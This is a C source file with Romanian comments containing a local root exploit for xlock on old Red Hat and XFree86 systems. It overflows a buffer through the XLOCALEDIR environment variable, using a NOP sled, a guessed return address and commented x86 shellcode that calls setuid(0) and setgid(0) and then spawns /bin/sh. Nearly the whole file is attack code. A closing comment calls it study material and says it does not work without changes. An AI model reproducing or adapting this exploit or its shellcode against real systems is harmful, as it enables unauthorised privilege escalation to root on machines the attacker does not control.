X L O C K - X L O C A L E D I R
1337xlockxpl017 :-)
/* Acest exploit local de root pentru xlock
* - XFree 4.2.0, Redhat 7.2 este un remake
* al versiunii pentru Slackware 8.1 scrise
* de dcryptr && tarranta / oC.
* Pentru detalii legale a se vedea sfarsitul
* fisierului.
*
* Multumiri: dcryptr && tarranta, aleph1, dethy,
* thread, ^sq, irian.
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define OFFSET 0 /* poate varia - implicit 0 */
#define nop 0x90 /* opcode-ul pentru NOP pe x86 e 0x90 */
#define BSIZE 5100 /* dimensiunea buffer-ului */
/* Shellcode-ul este esential identic cu cel
* realizat de dcryptr && tarranta - am inlocuit
* doar instructiunile "mov %ebx, %eax" unde %ebx
* era 0 cu "xor %eax, %eax". Autorii originali
* au observat si ca primul setuid(0) este ignorat.
* Motivul imi este, ca si lor, necunoscut.
*/
static char shellcode[] =
/* setuid(0); - ignorat probabil din cauza
unei dezalinieri? */
/* Valoarea 0 este pasata prin %ebx */
"\x31\xdb" /* xor %ebx,%ebx */
/* %eax devine si el 0 */
"\x31\xc0" /* xor %eax,%eax */
/* %al devine 0x17 - numarul apelului sistem
(system call - syscall) pentru setuid() */
"\xb0\x17" /* mov $0x17,%al */
/* Apel servicii sistem pe GNU/Linux si BSD
- int 0x80 */
"\xcd\x80" /* int $0x80 */
/* setuid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */
/* setgid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x31\xc0" /* xor %eax,%eax */
/* Selectam in %al numarul syscall-ului setgid() */
"\xb0\x2e" /* mov $0x2e,%al */
"\xcd\x80" /* int $0x80 */
/* /bin/sh execve(); */
/* %eax devine 0 */
"\x31\xc0" /* xor %eax,%eax */
/* zero-ul creat e impins pe stiva
pentru a sluji ca terminator pentru /bin//sh */
"\x50" /* push %eax */
/* Vom impinge pe stiva pe /bin//sh in loc de
/bin/sh pentru ca merge si asa si este mai
simplu sa impingem doua cuvinte duble (dwords). */
/* //sh e impins pe stiva */
"\x68\x2f\x61\x73\x68" /* push $0x68732f2f */
/* /bin e impins pe stiva */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
/* Stack pointer-ul %esp este memorat in %ebx -
aici incepe string-ul /bin//sh */
"\x89\xe3" /* mov %esp,%ebx */
/* Plasam pe stiva un terminator pentru argv,
adica argv[1] va fi NULL */
"\x50" /* push %eax */
/* Plasam pe stiva pointerul catre /bin//sh */
"\x53" /* push %ebx */
/* Il construim pe argv */
"\x89\xe1" /* mov %esp,%ecx */
/* envp este NULL */
"\x31\xd2" /* xor %edx,%edx */
/* Selectam prin 0xb din %al
syscall-ul execve */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* exit(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x31\xc0" /* xor %eax,%eax */
/* Syscall-ul pentru exit - 0x01 */
"\xb0\x01" /* mov $0x01,%al */
"\xcd\x80";/* int $0x80 */
int main(int argc, char **argv) {
char *buffer, *ptr;
int *address_ptr, *address;
int i, offset = OFFSET, bsize = BSIZE;
/* Putem folosi acest offset in cautarea
* locatiei bune pentru salt */
if(argc > 1) offset = atoi(argv[1]);
else offset = 0;
fprintf(stderr, "Offset: %d\n", offset);
/* Alocam spatiu pentru buffer */
buffer = malloc(bsize);
/* Use the force, read the source :-),
* gasim valoarea stack-pointer-ului %esp
* pentru xlock. */
(char *)address = (0xbffff010 + sizeof(int) * offset);
fprintf(stderr, "Return address: %#x\n" ,address);
ptr = buffer;
address_ptr = (int *)ptr;
/* Umplem buffer-ul cu adresa din buffer la care
* vom face salt */
for(i = 0; i < bsize; i += 4)
(int *)*(address_ptr++) = address;
/* Umplem prima treime - parametru ajustabil -
* a buffer-ului cu NOP-uri, lasand spatiu
* pentru a adauga shellcode-ul */
for(i = 0; i < bsize / 3; i++) buffer[i] = nop;
/* Plasam shellcode-ul in buffer, centrat
* pe granita dintre prima si a doua treime
* a buffer-ului. */
ptr = buffer + (bsize / 3 - strlen(shellcode) / 2);
for(i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
/* Adaugam un terminator de string */
buffer[bsize - 1] = '\0';
/* In acest caz buffer-overflow-ul (bof-ul)
* este produs printr-o variabila de mediu
* setabila de catre user.
* Dam variabilei de mediu XLOCALEDIR valoarea
* continuta in buffer - ceea ce ar trebui
* sa cauzeze apoi un overflow in programele
* ce o folosesc incorect. */
setenv("XLOCALEDIR", buffer, 1);
/* xlock foloseste variabila XLOCALEDIR
* (intr-un mod incorect) astfel ca bof-ul
* este posibil */
execl("/usr/X11R6/bin/xlock", "/usr/X11R6/bin/xlock", 0);
}
/* Exploitul nu va functiona in aceasta forma -
* anumite modificari (minore dar esentiale)
* sunt necesare.
* Codul este dat pentru a fi studiat si inteles
* putand constitui tema unui laborator despre
* programarea in limbajul C, si nicidecum pentru
* a fi folosit ca unealta de atac (fapt improbabil
* atat datorita modificarilor necesare cat si
* faptului ca programul vulnerabil este foarte
* vechi si deci rar intalnit).
*/